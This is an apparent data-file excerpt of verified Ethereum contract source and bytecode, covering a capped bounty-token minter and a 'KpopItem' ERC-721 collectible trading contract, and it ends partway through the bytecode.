/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/safe/TokenRecover.sol contract TokenRecover is Ownable { /** * @dev It's a safe function allowing to recover any ERC20 sent into the contract for error * @param _tokenAddress address The token contract address * @param _tokens Number of tokens to be sent * @return bool */ function transferAnyERC20Token( address _tokenAddress, uint256 _tokens ) public onlyOwner returns (bool success) { return ERC20Basic(_tokenAddress).transfer(owner, _tokens); } } // File: contracts/distribution/CappedBountyMinter.sol contract CappedBountyMinter is TokenRecover { using SafeMath for uint256; ERC20 public token; uint256 public cap; uint256 public totalGivenBountyTokens; mapping (address => uint256) public givenBountyTokens; uint256 decimals = 18; constructor(ERC20 _token, uint256 _cap) public { require(_token != address(0)); require(_cap > 0); token = _token; cap = _cap * (10 ** decimals); } function multiSend( address[] _addresses, uint256[] _amounts ) public onlyOwner { require(_addresses.length > 0); require(_amounts.length > 0); require(_addresses.length == _amounts.length); for (uint i = 0; i < _addresses.length; i++) { address to = _addresses[i]; uint256 value = _amounts[i] * (10 ** decimals); givenBountyTokens[to] = givenBountyTokens[to].add(value); totalGivenBountyTokens = totalGivenBountyTokens.add(value); require(totalGivenBountyTokens <= cap); require(MintableToken(address(token)).mint(to, value)); } } function remainingTokens() public view returns(uint256) { return cap.sub(totalGivenBountyTokens); } }
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663355274ea81146100a857806343441a2c146100cf578063715018a6146100e45780638da5cb5b146100fb578063977712cd1461012c578063bb4c9f0b1461014d578063bf583903146101db578063dc39d06d146101f0578063f2fde38b14610228578063fc0c546a14610249575b600080fd5b3480156100b457600080fd5b506100bd61025e565b60408051918252519081900360200190f35b3480156100db57600080fd5b506100bd610264565b3480156100f057600080fd5b506100f961026a565b005b34801561010757600080fd5b506101106102d6565b60408051600160a060020a039092168252519081900360200190f35b34801561013857600080fd5b506100bd600160a060020a03600435166102e5565b34801561015957600080fd5b50604080516020600480358082013583810280860185019096528085526100f995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506102f79650505050505050565b3480156101e757600080fd5b506100bd6104a9565b3480156101fc57600080fd5b50610214600160a060020a03600435166024356104c7565b604080519115158252519081900360200190f35b34801561023457600080fd5b506100f9600160a060020a0360043516610582565b34801561025557600080fd5b506101106105a5565b60025481565b60035481565b600054600160a060020a0316331461028157600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b60046020526000908152604090205481565b6000805481908190600160a060020a0316331461031357600080fd5b845160001061032157600080fd5b835160001061032f57600080fd5b835185511461033d57600080fd5b600092505b84518310156104a257848381518110151561035957fe5b906020019060200201519150600554600a0a848481518110151561037957fe5b6020908102909101810151600160a060020a03851660009081526004909252604090912054910291506103b2908263ffffffff6105b416565b600160a060020a0383166000908152600460205260409020556003546103de908263ffffffff6105b416565b600381905560025410156103f157600080fd5b600154604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03858116600483015260248201859052915191909216916340c10f199160448083019260209291908290030181600087803b15801561046057600080fd5b505af1158015610474573d6000803e3d6000fd5b505050506040513d602081101561048a57600080fd5b5051151561049757600080fd5b600190920191610342565b5050505050565b60006104c26003546002546105c790919063ffffffff16565b905090565b60008054600160a060020a031633146104df57600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b15801561054f57600080fd5b505af1158015610563573d6000803e3d6000fd5b505050506040513d602081101561057957600080fd5b50519392505050565b600054600160a060020a0316331461059957600080fd5b6105a2816105d9565b50565b600154600160a060020a031681565b818101828110156105c157fe5b92915050565b6000828211156105d357fe5b50900390565b600160a060020a03811615156105ee57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820626099dfddbf8127482de2f960fd227560fdc5f4b9bcfac24823e20c423fab6e0029
[ 38 ]
0xf28460e6c571f1d1e481c81dd84973f9b00e1b7b
// KpopItem is a ERC-721 item (https://github.com/ethereum/eips/issues/721) // Each KpopItem has its connected KpopToken itemrity card // Kpop.io is the official website pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC721 { function approve(address _to, uint _itemId) public; function balanceOf(address _owner) public view returns (uint balance); function implementsERC721() public pure returns (bool); function ownerOf(uint _itemId) public view returns (address addr); function takeOwnership(uint _itemId) public; function totalSupply() public view returns (uint total); function transferFrom(address _from, address _to, uint _itemId) public; function transfer(address _to, uint _itemId) public; event Transfer(address indexed from, address indexed to, uint itemId); event Approval(address indexed owner, address indexed approved, uint itemId); } contract KpopCeleb is ERC721 { function ownerOf(uint _celebId) public view returns (address addr); } contract KpopItem is ERC721 { address public author; address public coauthor; address public manufacturer; string public constant NAME = "KpopItem"; string public constant SYMBOL = "KpopItem"; uint public GROWTH_BUMP = 0.4 ether; uint public MIN_STARTING_PRICE = 0.001 ether; uint public PRICE_INCREASE_SCALE = 120; // 120% of previous price uint public DIVIDEND = 3; address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0; address public KPOP_ARENA_CONTRACT_ADDRESS = 0x0; struct Item { string name; } Item[] public items; mapping(uint => address) public itemIdToOwner; mapping(uint => uint) public itemIdToPrice; mapping(address => uint) public userToNumItems; mapping(uint => address) public itemIdToApprovedRecipient; mapping(uint => uint[6]) public itemIdToTraitValues; mapping(uint => uint) public itemIdToCelebId; event Transfer(address indexed from, address indexed to, uint itemId); event Approval(address indexed owner, address indexed approved, uint itemId); event ItemSold(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); event TransferToWinner(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); function KpopItem() public { author = msg.sender; coauthor = msg.sender; } function _transfer(address _from, address _to, uint _itemId) private { require(ownerOf(_itemId) == _from); require(!isNullAddress(_to)); require(balanceOf(_from) > 0); uint prevBalances = balanceOf(_from) + balanceOf(_to); itemIdToOwner[_itemId] = _to; userToNumItems[_from]--; userToNumItems[_to]++; delete itemIdToApprovedRecipient[_itemId]; Transfer(_from, _to, _itemId); assert(balanceOf(_from) + balanceOf(_to) == prevBalances); } function buy(uint _itemId) payable public { address prevOwner = ownerOf(_itemId); uint currentPrice = itemIdToPrice[_itemId]; require(prevOwner != msg.sender); require(!isNullAddress(msg.sender)); require(msg.value >= currentPrice); // Set dividend uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100)); // Take a cut uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100)); uint leftover = SafeMath.sub(msg.value, currentPrice); uint newPrice; _transfer(prevOwner, msg.sender, _itemId); if (currentPrice < GROWTH_BUMP) { newPrice = SafeMath.mul(currentPrice, 2); } else { newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100); } itemIdToPrice[_itemId] = newPrice; // Pay the prev owner of the item if (prevOwner != address(this)) { prevOwner.transfer(payment); } // Pay dividend to the current owner of the celeb that's connected to the item uint celebId = celebOf(_itemId); KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS); address celebOwner = KPOP_CELEB.ownerOf(celebId); if (celebOwner != address(this) && !isNullAddress(celebOwner)) { celebOwner.transfer(dividend); } ItemSold(_itemId, currentPrice, newPrice, items[_itemId].name, prevOwner, msg.sender); msg.sender.transfer(leftover); } function balanceOf(address _owner) public view returns (uint balance) { return userToNumItems[_owner]; } function ownerOf(uint _itemId) public view returns (address addr) { return itemIdToOwner[_itemId]; } function celebOf(uint _itemId) public view returns (uint celebId) { return itemIdToCelebId[_itemId]; } function totalSupply() public view returns (uint total) { return items.length; } function transfer(address _to, uint _itemId) public { _transfer(msg.sender, _to, _itemId); } /** START FUNCTIONS FOR AUTHORS **/ function createItem(string _name, uint _price, uint _celebId, address _owner, uint[6] _traitValues) public onlyManufacturer { require(_price >= MIN_STARTING_PRICE); address owner = _owner == 0x0 ? author : _owner; uint itemId = items.push(Item(_name)) - 1; itemIdToOwner[itemId] = owner; itemIdToPrice[itemId] = _price; itemIdToCelebId[itemId] = _celebId; itemIdToTraitValues[itemId] = _traitValues; // TODO: fetch celeb traits later userToNumItems[owner]++; } function updateItem(uint _itemId, string _name, uint[6] _traitValues) public onlyAuthors { require(_itemId >= 0 && _itemId < totalSupply()); items[_itemId].name = _name; itemIdToTraitValues[_itemId] = _traitValues; } function withdraw(uint _amount, address _to) public onlyAuthors { require(!isNullAddress(_to)); require(_amount <= this.balance); _to.transfer(_amount); } function withdrawAll() public onlyAuthors { require(author != 0x0); require(coauthor != 0x0); uint halfBalance = uint(SafeMath.div(this.balance, 2)); author.transfer(halfBalance); coauthor.transfer(halfBalance); } function setCoAuthor(address _coauthor) public onlyAuthor { require(!isNullAddress(_coauthor)); coauthor = _coauthor; } function setManufacturer(address _manufacturer) public onlyAuthors { require(!isNullAddress(_manufacturer)); manufacturer = _manufacturer; } /** END FUNCTIONS FOR AUTHORS **/ function getItem(uint _itemId) public view returns ( string name, uint price, address owner, uint[6] traitValues, uint celebId ) { name = items[_itemId].name; price = itemIdToPrice[_itemId]; owner = itemIdToOwner[_itemId]; traitValues = itemIdToTraitValues[_itemId]; celebId = celebOf(_itemId); } /** START FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function approve(address _to, uint _itemId) public { require(msg.sender == ownerOf(_itemId)); itemIdToApprovedRecipient[_itemId] = _to; Approval(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint _itemId) public { require(ownerOf(_itemId) == _from); require(isApproved(_to, _itemId)); require(!isNullAddress(_to)); _transfer(_from, _to, _itemId); } function takeOwnership(uint _itemId) public { require(!isNullAddress(msg.sender)); require(isApproved(msg.sender, _itemId)); address currentOwner = itemIdToOwner[_itemId]; _transfer(currentOwner, msg.sender, _itemId); } function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena { require(!isNullAddress(_winner)); require(!isNullAddress(_loser)); require(ownerOf(_itemId) == _loser); // Reset item price uint oldPrice = itemIdToPrice[_itemId]; uint newPrice = MIN_STARTING_PRICE; itemIdToPrice[_itemId] = newPrice; _transfer(_loser, _winner, _itemId); TransferToWinner(_itemId, oldPrice, newPrice, items[_itemId].name, _loser, _winner); } /** END FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function implementsERC721() public pure returns (bool) { return true; } /** MODIFIERS **/ modifier onlyAuthor() { require(msg.sender == author); _; } modifier onlyAuthors() { require(msg.sender == author || msg.sender == coauthor); _; } modifier onlyManufacturer() { require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer); _; } modifier onlyArena() { require(msg.sender == KPOP_ARENA_CONTRACT_ADDRESS); _; } /** FUNCTIONS THAT WONT BE USED FREQUENTLY **/ function setMinStartingPrice(uint _price) public onlyAuthors { MIN_STARTING_PRICE = _price; } function setGrowthBump(uint _bump) public onlyAuthors { GROWTH_BUMP = _bump; } function setDividend(uint _dividend) public onlyAuthors { DIVIDEND = _dividend; } function setPriceIncreaseScale(uint _scale) public onlyAuthors { PRICE_INCREASE_SCALE = _scale; } function setKpopCelebContractAddress(address _address) public onlyAuthors { KPOP_CELEB_CONTRACT_ADDRESS = _address; } function setKpopArenaContractAddress(address _address) public onlyAuthors { KPOP_ARENA_CONTRACT_ADDRESS = _address; } /** PRIVATE FUNCTIONS **/ function isApproved(address _to, uint _itemId) private view returns (bool) { return itemIdToApprovedRecipient[_itemId] == _to; } function isNullAddress(address _addr) private pure returns (bool) { return _addr == 0x0; } }
0x606060405260043610610203576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062f714ce14610208578063095ea7b31461024a5780630d9632351461028c5780631051db34146102af57806318160ddd146102dc5780631bd8b0411461030557806323b872dd1461032e57806329b1f0231461038f5780632bddc31c146103dc5780633129e7731461043157806343d1498b1461053d57806355e40d981461057657806356fadf8e146106085780636352211e146106c25780636571797d14610725578063676bc74f1461075e5780636d06bf0d146107c15780636fad0a4d146107f85780636fba75441461084d57806370a082311461087057806374754282146108bd57806375ff86f2146109125780637c67fb9f14610975578063853828b61461099e578063a3f4df7e146109b3578063a6c3e6b914610a41578063a9059cbb14610a96578063aad99ef114610ad8578063b2e6ceeb14610afb578063b413c5b014610b1e578063bb5661e314610b55578063bfb231d214610b95578063c11dde0d14610c4e578063c43ae98314610c87578063c453a80114610cb0578063d25dc05614610ce7578063d8dfba9314610d48578063d96a094a14610d81578063e091f45314610d99578063f76f8d7814610dbc578063fa4de09414610e4a578063fc3fc16814610e9f575b600080fd5b341561021357600080fd5b610248600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec8565b005b341561025557600080fd5b61028a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffa565b005b341561029757600080fd5b6102ad60048080359060200190919050506110f7565b005b34156102ba57600080fd5b6102c26111b4565b604051808215151515815260200191505060405180910390f35b34156102e757600080fd5b6102ef6111bd565b6040518082815260200191505060405180910390f35b341561031057600080fd5b6103186111ca565b6040518082815260200191505060405180910390f35b341561033957600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111d0565b005b341561039a57600080fd5b6103c6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061124c565b6040518082815260200191505060405180910390f35b34156103e757600080fd5b6103ef611264565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043c57600080fd5b610452600480803590602001909190505061128a565b60405180806020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184600660200280838360005b838110156104b957808201518184015260208101905061049e565b50505050905001838152602001828103825287818151815260200191508051906020019080838360005b838110156104fe5780820151818401526020810190506104e3565b50505050905090810190601f16801561052b5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b341561054857600080fd5b610574600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611408565b005b341561058157600080fd5b610606600480803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908060c0019060068060200260405190810160405280929190826006602002808284378201915050505050919050506114bc565b005b341561061357600080fd5b6106c0600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908060c0019060068060200260405190810160405280929190826006602002808284378201915050505050919050506115eb565b005b34156106cd57600080fd5b6106e360048080359060200190919050506118aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073057600080fd5b61075c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118e7565b005b341561076957600080fd5b61077f60048080359060200190919050506119de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107cc57600080fd5b6107e26004808035906020019091905050611a11565b6040518082815260200191505060405180910390f35b341561080357600080fd5b61080b611a2e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085857600080fd5b61086e6004808035906020019091905050611a54565b005b341561087b57600080fd5b6108a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b11565b6040518082815260200191505060405180910390f35b34156108c857600080fd5b6108d0611b5a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561091d57600080fd5b6109336004808035906020019091905050611b80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561098057600080fd5b610988611bb3565b6040518082815260200191505060405180910390f35b34156109a957600080fd5b6109b1611bb9565b005b34156109be57600080fd5b6109c6611de7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a065780820151818401526020810190506109eb565b50505050905090810190601f168015610a335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a4c57600080fd5b610a54611e20565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610aa157600080fd5b610ad6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e45565b005b3415610ae357600080fd5b610af96004808035906020019091905050611e54565b005b3415610b0657600080fd5b610b1c6004808035906020019091905050611f11565b005b3415610b2957600080fd5b610b3f6004808035906020019091905050611f82565b6040518082815260200191505060405180910390f35b3415610b6057600080fd5b610b7f6004808035906020019091908035906020019091905050611f9a565b6040518082815260200191505060405180910390f35b3415610ba057600080fd5b610bb66004808035906020019091905050611fc1565b6040518080602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610c3f5780601f10610c1457610100808354040283529160200191610c3f565b820191906000526020600020905b815481529060010190602001808311610c2257829003601f168201915b50509250505060405180910390f35b3415610c5957600080fd5b610c85600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611fea565b005b3415610c9257600080fd5b610c9a6120f6565b6040518082815260200191505060405180910390f35b3415610cbb57600080fd5b610cd160048080359060200190919050506120fc565b6040518082815260200191505060405180910390f35b3415610cf257600080fd5b610d46600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612114565b005b3415610d5357600080fd5b610d7f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612379565b005b610d976004808035906020019091905050612470565b005b3415610da457600080fd5b610dba60048080359060200190919050506128f4565b005b3415610dc757600080fd5b610dcf6129b1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e0f578082015181840152602081019050610df4565b50505050905090810190601f168015610e3c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e5557600080fd5b610e5d6129ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610eaa57600080fd5b610eb2612a10565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f705750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f7b57600080fd5b610f8481612a16565b151515610f9057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318211151515610fb657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610ff657600080fd5b5050565b611003816118aa565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103c57600080fd5b81600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061119f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156111aa57600080fd5b8060038190555050565b60006001905090565b6000600980549050905090565b60055481565b8273ffffffffffffffffffffffffffffffffffffffff166111f0826118aa565b73ffffffffffffffffffffffffffffffffffffffff1614151561121257600080fd5b61121c8282612a38565b151561122757600080fd5b61123082612a16565b15151561123c57600080fd5b611247838383612aa4565b505050565b600c6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611292612d47565b60008061129d612d5b565b60006009868154811015156112ae57fe5b90600052602060002090016000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113505780601f1061132557610100808354040283529160200191611350565b820191906000526020600020905b81548152906001019060200180831161133357829003601f168201915b50505050509450600b6000878152602001908152602001600020549350600a600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600e60008781526020019081526020016000206006806020026040519081016040528092919082600680156113ed576020028201915b8154815260200190600101908083116113d9575b505050505091506113fd86611a11565b905091939590929450565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146357600080fd5b61146c81612a16565b15151561147857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115645750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561156f57600080fd5b6000831015801561158657506115836111bd565b83105b151561159157600080fd5b816009848154811015156115a157fe5b906000526020600020900160000190805190602001906115c2929190612d83565b5080600e60008581526020019081526020016000209060066115e5929190612e03565b50505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116965750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806116ee5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116f957600080fd5b600454861015151561170a57600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff161461172e5783611751565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b91506001600980548060010182816117699190612e43565b916000526020600020900160006020604051908101604052808c815250909190915060008201518160000190805190602001906117a7929190612e6f565b50505003905081600a600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600b60008381526020019081526020016000208190555084600f60008381526020019081526020016000208190555082600e6000838152602001908152602001600020906006611851929190612e03565b50600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555050505050505050565b6000600a600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061198f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561199a57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f6000838152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611afc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b0757600080fd5b8060048190555050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c635750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611c6e57600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611cb557600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611cfd57600080fd5b611d1f3073ffffffffffffffffffffffffffffffffffffffff16316002612cd8565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611d8257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611de457600080fd5b50565b6040805190810160405280600881526020017f4b706f704974656d00000000000000000000000000000000000000000000000081525081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e50338383612aa4565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611efc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611f0757600080fd5b8060058190555050565b6000611f1c33612a16565b151515611f2857600080fd5b611f323383612a38565b1515611f3d57600080fd5b600a600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611f7e813384612aa4565b5050565b600f6020528060005260406000206000915090505481565b600e60205281600052604060002081600681101515611fb557fe5b01600091509150505481565b600981815481101515611fd057fe5b906000526020600020900160009150905080600001905081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120925750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561209d57600080fd5b6120a681612a16565b1515156120b257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035481565b600b6020528060005260406000206000915090505481565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217357600080fd5b61217c85612a16565b15151561218857600080fd5b61219184612a16565b15151561219d57600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166121bd846118aa565b73ffffffffffffffffffffffffffffffffffffffff161415156121df57600080fd5b600b6000848152602001908152602001600020549150600454905080600b60008581526020019081526020016000208190555061221d848685612aa4565b7f6ec190b945f368aacc027dd20705085b08524cbc9cbca6f8f8b1eb85c9d3ff1c83838360098781548110151561225057fe5b9060005260206000209001600001888a60405180878152602001868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182810382528581815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561235f5780601f106123345761010080835404028352916020019161235f565b820191906000526020600020905b81548152906001019060200180831161234257829003601f168201915b505097505050505050505060405180910390a15050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124215750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561242c57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060008060008060006124878a6118aa565b9850600b60008b81526020019081526020016000205497503373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515156124da57600080fd5b6124e333612a16565b1515156124ef57600080fd5b8734101515156124fe57600080fd5b61251461250d89600654612cf3565b6064612cd8565b965061252b6125